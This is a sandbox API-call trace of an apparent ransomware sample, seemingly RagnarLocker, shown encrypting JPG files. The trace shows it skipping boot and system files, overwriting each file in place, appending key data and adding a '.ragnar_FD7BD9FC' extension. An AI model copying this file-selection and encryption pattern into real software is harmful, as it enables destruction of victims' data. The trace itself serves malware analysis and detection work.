hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1 [0088.006] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.006] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382947.JPG" | out: lpString1="J0382947.JPG") returned="J0382947.JPG" [0088.006] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG") returned=".JPG" [0088.006] lstrcmpiW (lpString1="J0382947.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="autorun.inf") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="boot.ini") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="bootfont.bin") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="bootsect.bak") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="bootmgr") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="bootmgr.efi") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="bootmgfw.efi") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="desktop.ini") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="iconcache.db") returned 1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="ntldr") returned -1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="ntuser.dat") returned -1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="ntuser.dat.log") returned -1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="ntuser.ini") returned -1 [0088.007] lstrcmpiW (lpString1="J0382947.JPG", lpString2="thumbs.db") returned -1 [0088.007] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.007] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.007] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.007] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.007] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.007] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.007] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg")) returned 0x20 [0088.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.008] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=86812) returned 1 [0088.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15313, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.008] GetProcessHeap () returned 0x580000 [0088.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.008] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.009] VirtualAlloc (lpAddress=0x0, dwSize=0x1531c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.009] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.009] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.010] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1531c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1531c, lpOverlapped=0x0) returned 1 [0088.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1531c, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.012] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1531c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1531c, lpOverlapped=0x0) returned 1 [0088.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1531c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.012] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.013] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1531c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.013] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.013] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.013] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.013] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.013] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.013] GetProcessHeap () returned 0x580000 [0088.013] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.013] CloseHandle (hObject=0xf4) returned 1 [0088.013] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" [0088.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.ragnar_FD7BD9FC" [0088.014] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.014] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1 [0088.014] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.014] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382948.JPG" | out: lpString1="J0382948.JPG") returned="J0382948.JPG" [0088.014] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG") returned=".JPG" [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="autorun.inf") returned 1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="boot.ini") returned 1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="bootfont.bin") returned 1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="bootsect.bak") returned 1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="bootmgr") returned 1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="bootmgr.efi") returned 1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="bootmgfw.efi") returned 1 [0088.014] lstrcmpiW (lpString1="J0382948.JPG", lpString2="desktop.ini") returned 1 [0088.015] lstrcmpiW (lpString1="J0382948.JPG", lpString2="iconcache.db") returned 1 [0088.015] lstrcmpiW (lpString1="J0382948.JPG", lpString2="ntldr") returned -1 [0088.015] lstrcmpiW (lpString1="J0382948.JPG", lpString2="ntuser.dat") returned -1 [0088.015] lstrcmpiW (lpString1="J0382948.JPG", lpString2="ntuser.dat.log") returned -1 [0088.015] lstrcmpiW (lpString1="J0382948.JPG", lpString2="ntuser.ini") returned -1 [0088.015] lstrcmpiW (lpString1="J0382948.JPG", lpString2="thumbs.db") returned -1 [0088.015] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.015] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.015] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.015] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.015] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.015] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.015] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg")) returned 0x20 [0088.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.015] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=109879) returned 1 [0088.015] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ad2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.015] GetProcessHeap () returned 0x580000 [0088.015] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.016] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.017] VirtualAlloc (lpAddress=0x0, dwSize=0x1ad37, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.017] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.017] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ad37, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ad37, lpOverlapped=0x0) returned 1 [0088.020] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.021] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ad37, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.021] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ad37, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ad37, lpOverlapped=0x0) returned 1 [0088.021] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ad37, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.021] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.022] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ad37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.022] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.022] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.022] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.022] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.022] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.022] GetProcessHeap () returned 0x580000 [0088.022] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.022] CloseHandle (hObject=0xf4) returned 1 [0088.022] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" [0088.022] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.ragnar_FD7BD9FC" [0088.022] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.023] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x178d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382950.JPG", cAlternateFileName="")) returned 1 [0088.023] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.023] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382950.JPG" | out: lpString1="J0382950.JPG") returned="J0382950.JPG" [0088.023] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG") returned=".JPG" [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="autorun.inf") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="boot.ini") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="bootfont.bin") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="bootsect.bak") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="bootmgr") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="bootmgr.efi") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="bootmgfw.efi") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="desktop.ini") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="iconcache.db") returned 1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="ntldr") returned -1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="ntuser.dat") returned -1 [0088.023] lstrcmpiW (lpString1="J0382950.JPG", lpString2="ntuser.dat.log") returned -1 [0088.024] lstrcmpiW (lpString1="J0382950.JPG", lpString2="ntuser.ini") returned -1 [0088.024] lstrcmpiW (lpString1="J0382950.JPG", lpString2="thumbs.db") returned -1 [0088.024] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.024] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.024] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.024] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.024] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.024] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.024] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg")) returned 0x20 [0088.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.025] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=96466) returned 1 [0088.025] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x178c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.025] GetProcessHeap () returned 0x580000 [0088.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.025] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.026] VirtualAlloc (lpAddress=0x0, dwSize=0x178d2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.026] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.026] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.027] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x178d2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x178d2, lpOverlapped=0x0) returned 1 [0088.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.029] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x178d2, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.029] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x178d2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x178d2, lpOverlapped=0x0) returned 1 [0088.030] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x178d2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.030] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.030] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x178d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.031] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.031] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.031] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.031] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.031] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.031] GetProcessHeap () returned 0x580000 [0088.031] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.031] CloseHandle (hObject=0xf4) returned 1 [0088.031] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" [0088.031] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.ragnar_FD7BD9FC" [0088.031] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.032] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661d4d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17749, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382952.JPG", cAlternateFileName="")) returned 1 [0088.032] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.032] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382952.JPG" | out: lpString1="J0382952.JPG") returned="J0382952.JPG" [0088.032] 